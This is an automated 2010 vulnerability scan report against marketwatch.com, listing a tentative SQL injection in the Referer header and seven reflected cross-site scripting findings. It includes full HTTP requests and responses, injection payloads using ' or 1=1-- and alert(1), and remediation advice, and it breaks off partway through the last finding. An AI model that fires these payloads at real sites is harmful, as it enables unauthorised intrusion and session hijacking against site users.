Report generated by XSS.CX at Thu Nov 25 10:08:50 CST 2010.


Cross Site Scripting Report for marketwatch.com | Hoyt LLC Research


Loading



1. SQL injection

2. Cross-site scripting (reflected)

2.1. http://www.marketwatch.com/ [dist parameter]

2.2. http://www.marketwatch.com/ [dist parameter]

2.3. http://www.marketwatch.com/ [BIZO cookie]

2.4. http://www.marketwatch.com/ [rsi_csl cookie]

2.5. http://www.marketwatch.com/ [rsi_csl cookie]

2.6. http://www.marketwatch.com/ [rsi_segs cookie]

2.7. http://www.marketwatch.com/ [rsi_segs cookie]



1. SQL injection  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.marketwatch.com
Path:   /

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. The payloads 91209207'%20or%201%3d1--%20 and 91209207'%20or%201%3d2--%20 were each submitted in the Referer HTTP header. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

Request 1

GET / HTTP/1.1
Host: www.marketwatch.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=91209207'%20or%201%3d1--%20

Response 1

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 1.0
X-AspNet-Version: 2.0.50727
Set-Cookie: mw5_prefs=mox=False&exp=11/23/2012; domain=.marketwatch.com; expires=Fri, 23-Nov-2012 06:00:00 GMT; path=/
Set-Cookie: mw5_ads=seen=16; domain=.marketwatch.com; expires=Wed, 24-Nov-2010 05:59:59 GMT; path=/
X-Powered-By: ASP.NET
X-MACHINE: secdedtwebp02
Date: Wed, 24 Nov 2010 01:51:33 GMT
Content-Length: 250374

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
<span class="changepercent bgPercentChange">-0.01%</span>
                               </div>
                       <div class="clear"></div>
                   </div><div class="tickerrow" onmouseover="marketoverviewchartChart.ShowChart('AU:XAO')">
                           <a href="/investing/index/XAO?countrycode=AU">S&amp;P ASX</a>
                               <div class="data bgQuoteDeferred down">
                                   <span class="bgChannel">/quotes/comstock/27w!i:xao</span>
                                   <span class="price bgLast">4,669</span>
                                   <span class="change bgChange">-8</span>
                                   <span class="changepercent bgPercentChange">-0.16%</span>
                               </div>
                       <div class="clear"></div>
                   </div><div class="tickerrow" onmouseover="marketoverviewchartChart.ShowChart('XX:BSESN~1mo_1dy')">
                           <a href="/investing/index/BSESN?countrycode=XX">Sensex</a>
                               <div class="data bgQuoteDeferred down">
                                   <span class="bgChannel">/quotes/comstock/28p!sensex</span>
                                   <span class="price bgLast">19,692</span>
                                   <span class="change bgChange">-266</span>
                                   <span class="changepercent bgPercentChange">-1.33%</span>
                               </div>
                       <div class="clear"></div>
                   </div><div class="tickerrow" onmouseover="marketoverviewchartChart.ShowChart('US:GDOW')">
                           <a href="/investing/index/GDOW">GlobalDow</a>
                               <div class="data bgQuoteDeferred down">
                                   
                                   <span class="price bgLast">1,981</span>
                                   <span class="change bgChange">-3</span>
                                   <span class="changepercent bgPercentChange">-0.17%</span>
                               </div>
                       <div class="clear"></div>
                   </div>
               </div><div id="overviewcurrencyratespage" class="tabpage overviewcurrencyratespage"><div class="tickerrow selected" onmouseover="marketoverviewchartChart.ShowChart('US:EURUSD')">
                           <a href="/investing/currency/EURUSD">Euro /$1US</a>
                                   <div class="data bgQuoteDeferred bgCurrencyFormatting up">
                                       <span class="price bgLast">1.3404</span>
                                       <span class="change bgChange">0.0041</span>
                                   </div>
                       <div class="clear"></div>
                   </div><div c
...[SNIP]...

Request 2

GET / HTTP/1.1
Host: www.marketwatch.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=91209207'%20or%201%3d2--%20

Response 2

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 1.0
X-AspNet-Version: 2.0.50727
Set-Cookie: mw5_prefs=mox=False&exp=11/23/2012; domain=.marketwatch.com; expires=Fri, 23-Nov-2012 06:00:00 GMT; path=/
Set-Cookie: mw5_ads=seen=16; domain=.marketwatch.com; expires=Wed, 24-Nov-2010 05:59:59 GMT; path=/
X-Powered-By: ASP.NET
X-MACHINE: secdedtwebp04
Date: Wed, 24 Nov 2010 01:51:33 GMT
Content-Length: 250333

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
<span class="changepercent bgPercentChange">0.04%</span>
                               </div>
                       <div class="clear"></div>
                   </div><div class="tickerrow" onmouseover="marketoverviewchartChart.ShowChart('AU:XAO')">
                           <a href="/investing/index/XAO?countrycode=AU">S&amp;P ASX</a>
                               <div class="data bgQuoteDeferred down">
                                   <span class="bgChannel">/quotes/comstock/27w!i:xao</span>
                                   <span class="price bgLast">4,669</span>
                                   <span class="change bgChange">-8</span>
                                   <span class="changepercent bgPercentChange">-0.16%</span>
                               </div>
                       <div class="clear"></div>
                   </div><div class="tickerrow" onmouseover="marketoverviewchartChart.ShowChart('XX:BSESN~1mo_1dy')">
                           <a href="/investing/index/BSESN?countrycode=XX">Sensex</a>
                               <div class="data bgQuoteDeferred down">
                                   <span class="bgChannel">/quotes/comstock/28p!sensex</span>
                                   <span class="price bgLast">19,692</span>
                                   <span class="change bgChange">-266</span>
                                   <span class="changepercent bgPercentChange">-1.33%</span>
                               </div>
                       <div class="clear"></div>
                   </div><div class="tickerrow" onmouseover="marketoverviewchartChart.ShowChart('US:GDOW')">
                           <a href="/investing/index/GDOW">GlobalDow</a>
                               <div class="data bgQuoteDeferred down">
                                   
                                   <span class="price bgLast">1,981</span>
                                   <span class="change bgChange">-3</span>
                                   <span class="changepercent bgPercentChange">-0.17%</span>
                               </div>
                       <div class="clear"></div>
                   </div>
               </div><div id="overviewcurrencyratespage" class="tabpage overviewcurrencyratespage"><div class="tickerrow selected" onmouseover="marketoverviewchartChart.ShowChart('US:EURUSD')">
                           <a href="/investing/currency/EURUSD">Euro /$1US</a>
                                   <div class="data bgQuoteDeferred bgCurrencyFormatting up">
                                       <span class="price bgLast">1.3405</span>
                                       <span class="change bgChange">0.0042</span>
                                   </div>
                       <div class="clear"></div>
                   </div><div cl
...[SNIP]...

2. Cross-site scripting (reflected)  previous
There are 7 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://www.marketwatch.com/ [dist parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.marketwatch.com
Path:   /

Issue detail

The value of the dist request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fc842"style%3d"x%3aexpression(alert(1))"e4505de99de was submitted in the dist parameter. This input was echoed as fc842"style="x:expression(alert(1))"e4505de99de in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /?siteid=wsj&dist=freedjsiteslinkfc842"style%3d"x%3aexpression(alert(1))"e4505de99de&mod=WSJ_footer HTTP/1.1
Host: www.marketwatch.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 1.0
X-AspNet-Version: 2.0.50727
Set-Cookie: mw5_prefs=mox=False&exp=11/23/2012; domain=.marketwatch.com; expires=Fri, 23-Nov-2012 06:00:00 GMT; path=/
Set-Cookie: mw5_ads=seen=16; domain=.marketwatch.com; expires=Wed, 24-Nov-2010 05:59:59 GMT; path=/
X-Powered-By: ASP.NET
X-MACHINE: secdfinwebp03
Date: Wed, 24 Nov 2010 01:51:09 GMT
Content-Length: 251474

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
<script src="http://ad.doubleclick.net/adj/marketwatch.com/frontpage;u=%5e%5e;dist=freedjsiteslinkfc842"style="x:expression(alert(1))"e4505de99de;sz=300x250,336x280;tile=6;ord=919275682?" type="text/javascript">
...[SNIP]...

2.2. http://www.marketwatch.com/ [dist parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.marketwatch.com
Path:   /

Issue detail

The value of the dist request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1834f'%3balert(1)//001dc20dfc2 was submitted in the dist parameter. This input was echoed as 1834f';alert(1)//001dc20dfc2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /?siteid=wsj&dist=freedjsiteslink1834f'%3balert(1)//001dc20dfc2&mod=WSJ_footer HTTP/1.1
Host: www.marketwatch.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 1.0
X-AspNet-Version: 2.0.50727
Set-Cookie: mw5_prefs=mox=False&exp=11/23/2012; domain=.marketwatch.com; expires=Fri, 23-Nov-2012 06:00:00 GMT; path=/
Set-Cookie: mw5_ads=seen=16; domain=.marketwatch.com; expires=Wed, 24-Nov-2010 05:59:59 GMT; path=/
X-Powered-By: ASP.NET
X-MACHINE: secdfinwebp04
Date: Wed, 24 Nov 2010 01:51:21 GMT
Content-Length: 251094

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
scort.addClient(
           ScrillaZilla.Client('#ad_BeforetheBell',
               {
                   ord : 1497171628,
                   src : 'http://redacted.net/adi/marketwatch.com/sponsor_beforebell;u=%5e%5e;dist=freedjsiteslink1834f';alert(1)//001dc20dfc2;sz=185x48;tile=4;ord=',
                   width : '185',
                   height : '48',
                   
                   lateLoad : false,
                   refresh : false,
                   independentRefresh : true,
                   refreshRate : 480000,
                   refreshDomain
...[SNIP]...

2.3. http://www.marketwatch.com/ [BIZO cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.marketwatch.com
Path:   /

Issue detail

The value of the BIZO cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c1384'-alert(1)-'8bbe0e94672 was submitted in the BIZO cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /?siteid=wsj&dist=freedjsiteslinkfc842%22style%3d%22x%3aexpression(alert(1))%22e4505de99de&mod=WSJ_footer HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslinkfc842%22style%3d%22x%3aexpression(alert(1))%22e4505de99de&mod=WSJ_footer
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_u=271707864499207_3_0.01_0_5_1291071928177; s_vnum=1291651124299%26vn%3D4; BIZO=biz=1080&biz=1040&biz=1027&c1384'-alert(1)-'8bbe0e94672; mw5_prefs=mox=False&exp=11/23/2012; __g_c=w%3A1%7Cb%3A3%7Cc%3A271707864499207%7Cd%3A3%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=lLlAli; rsi_segs=G07608_10012|G07608_10001|G07608_10035; refresh=on

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 1.0
X-AspNet-Version: 2.0.50727
Set-Cookie: mw5_prefs=mox=False&exp=11/24/2012; domain=.marketwatch.com; expires=Sat, 24-Nov-2012 06:00:00 GMT; path=/
Set-Cookie: mw5_ads=seen=16; domain=.marketwatch.com; expires=Thu, 25-Nov-2010 05:59:59 GMT; path=/
X-Powered-By: ASP.NET
X-MACHINE: sbkdfpswebp04
Date: Thu, 25 Nov 2010 01:02:15 GMT
Content-Length: 259186

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
://ad.vulnerable.ad.partner/adi/marketwatch.com/sponsor_beforebell;s=8_10012;s=8_10001;s=8_10035;u=%5e%5elLlAli;dist=freedjsiteslinkfc842"style="x:expression(alert(1))"e4505de99de;biz=1080;biz=1040;biz=1027;c1384'-alert(1)-'8bbe0e94672;sz=185x48;tile=4;ord=',
                   width : '185',
                   height : '48',
                   
                   lateLoad : false,
                   refresh : false,
                   independentRefresh : true,
                   refreshRate : 480000,
                   refreshDomain
...[SNIP]...

2.4. http://www.marketwatch.com/ [rsi_csl cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.marketwatch.com
Path:   /

Issue detail

The value of the rsi_csl cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8efb0'%3balert(1)//fba239c0cb4 was submitted in the rsi_csl cookie. This input was echoed as 8efb0';alert(1)//fba239c0cb4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /?siteid=wsj&dist=freedjsiteslinkfc842%22style%3d%22x%3aexpression(alert(1))%22e4505de99de&mod=WSJ_footer HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslinkfc842%22style%3d%22x%3aexpression(alert(1))%22e4505de99de&mod=WSJ_footer
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_u=271707864499207_3_0.01_0_5_1291071928177; s_vnum=1291651124299%26vn%3D4; BIZO=biz=1080&biz=1040&biz=1027&; mw5_prefs=mox=False&exp=11/23/2012; __g_c=w%3A1%7Cb%3A3%7Cc%3A271707864499207%7Cd%3A3%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=lLlAli8efb0'%3balert(1)//fba239c0cb4; rsi_segs=G07608_10012|G07608_10001|G07608_10035; refresh=on

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 1.0
X-AspNet-Version: 2.0.50727
Set-Cookie: mw5_prefs=mox=False&exp=11/24/2012; domain=.marketwatch.com; expires=Sat, 24-Nov-2012 06:00:00 GMT; path=/
Set-Cookie: mw5_ads=seen=16; domain=.marketwatch.com; expires=Thu, 25-Nov-2010 05:59:59 GMT; path=/
X-Powered-By: ASP.NET
X-MACHINE: sbkdfinwebp05
Date: Thu, 25 Nov 2010 01:02:23 GMT
Content-Length: 259137

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
(
           ScrillaZilla.Client('#ad_BeforetheBell',
               {
                   ord : 1593487619,
                   src : 'http://redacted.net/adi/marketwatch.com/sponsor_beforebell;s=8_10012;s=8_10001;s=8_10035;u=%5e%5elLlAli8efb0';alert(1)//fba239c0cb4;dist=freedjsiteslinkfc842"style="x:expression(alert(1))"e4505de99de;biz=1080;biz=1040;biz=1027;sz=185x48;tile=4;ord=',
                   width : '185',
                   height : '48',
                   
                   lateLoad : false,
                   re
...[SNIP]...

2.5. http://www.marketwatch.com/ [rsi_csl cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.marketwatch.com
Path:   /

Issue detail

The value of the rsi_csl cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d7c6"style%3d"x%3aexpression(alert(1))"81044dbd273 was submitted in the rsi_csl cookie. This input was echoed as 5d7c6"style="x:expression(alert(1))"81044dbd273 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /?siteid=wsj&dist=freedjsiteslinkfc842%22style%3d%22x%3aexpression(alert(1))%22e4505de99de&mod=WSJ_footer HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslinkfc842%22style%3d%22x%3aexpression(alert(1))%22e4505de99de&mod=WSJ_footer
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_u=271707864499207_3_0.01_0_5_1291071928177; s_vnum=1291651124299%26vn%3D4; BIZO=biz=1080&biz=1040&biz=1027&; mw5_prefs=mox=False&exp=11/23/2012; __g_c=w%3A1%7Cb%3A3%7Cc%3A271707864499207%7Cd%3A3%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=lLlAli5d7c6"style%3d"x%3aexpression(alert(1))"81044dbd273; rsi_segs=G07608_10012|G07608_10001|G07608_10035; refresh=on

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 1.0
X-AspNet-Version: 2.0.50727
Set-Cookie: mw5_prefs=mox=False&exp=11/24/2012; domain=.marketwatch.com; expires=Sat, 24-Nov-2012 06:00:00 GMT; path=/
Set-Cookie: mw5_ads=seen=16; domain=.marketwatch.com; expires=Thu, 25-Nov-2010 05:59:59 GMT; path=/
X-Powered-By: ASP.NET
X-MACHINE: sbkdfpswebp04
Date: Thu, 25 Nov 2010 01:02:22 GMT
Content-Length: 259420

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
<script src="http://ad.doubleclick.net/adj/marketwatch.com/frontpage;s=8_10012;s=8_10001;s=8_10035;u=%5e%5elLlAli5d7c6"style="x:expression(alert(1))"81044dbd273;dist=freedjsiteslinkfc842"style="x:expression(alert(1))"e4505de99de;biz=1080;biz=1040;biz=1027;sz=300x250,336x280;tile=6;ord=471587800?" type="text/javascript">
...[SNIP]...

2.6. http://www.marketwatch.com/ [rsi_segs cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.marketwatch.com
Path:   /

Issue detail

The value of the rsi_segs cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a9546'%3balert(1)//60a092ce9d was submitted in the rsi_segs cookie. This input was echoed as a9546';alert(1)//60a092ce9d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /?siteid=wsj&dist=freedjsiteslinkfc842%22style%3d%22x%3aexpression(alert(1))%22e4505de99de&mod=WSJ_footer HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslinkfc842%22style%3d%22x%3aexpression(alert(1))%22e4505de99de&mod=WSJ_footer
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_u=271707864499207_3_0.01_0_5_1291071928177; s_vnum=1291651124299%26vn%3D4; BIZO=biz=1080&biz=1040&biz=1027&; mw5_prefs=mox=False&exp=11/23/2012; __g_c=w%3A1%7Cb%3A3%7Cc%3A271707864499207%7Cd%3A3%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=lLlAli; rsi_segs=G07608_10012|G07608_10001|G07608_10035a9546'%3balert(1)//60a092ce9d; refresh=on

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNetMvc-Version: 1.0
X-AspNet-Version: 2.0.50727
Set-Cookie: mw5_prefs=mox=False&exp=11/24/2012; domain=.marketwatch.com; expires=Sat, 24-Nov-2012 06:00:00 GMT; path=/
Set-Cookie: mw5_ads=seen=16; domain=.marketwatch.com; expires=Thu, 25-Nov-2010 05:59:59 GMT; path=/
X-Powered-By: ASP.NET
X-MACHINE: sbkdedtwebp03
Date: Thu, 25 Nov 2010 01:02:31 GMT
Content-Length: 254749

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="htt
...[SNIP]...
scort.addClient(
           ScrillaZilla.Client('#ad_BeforetheBell',
               {
                   ord : 1978751583,
                   src : 'http://redacted.net/adi/marketwatch.com/sponsor_beforebell;s=8_10012;s=8_10001;s=8_10035a9546';alert(1)//60a092ce9d;u=%5e%5elLlAli;dist=freedjsiteslinkfc842"style="x:expression(alert(1))"e4505de99de;biz=1080;biz=1040;biz=1027;sz=185x48;tile=4;ord=',
                   width : '185',
                   height : '48',
                   
                   lateLoad :
...[SNIP]...

2.7. http://www.marketwatch.com/ [rsi_segs cookie]  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.marketwatch.com
Path:   /

Issue detail

The value of the rsi_segs cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a575a"style%3d"x%3aexpression(alert(1))"28bf8957c18 was submitted in the rsi_segs cookie. This input was echoed as a575a"style="x:expression(alert(1))"28bf8957c18 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /?siteid=wsj&dist=freedjsiteslinkfc842%22style%3d%22x%3aexpression(alert(1))%22e4505de99de&mod=WSJ_footer HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslinkfc842%22style%3d%22x%3aexpression(alert(1))%22e4505de99de&mod=WSJ_footer
Cache-Control: max-age=0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
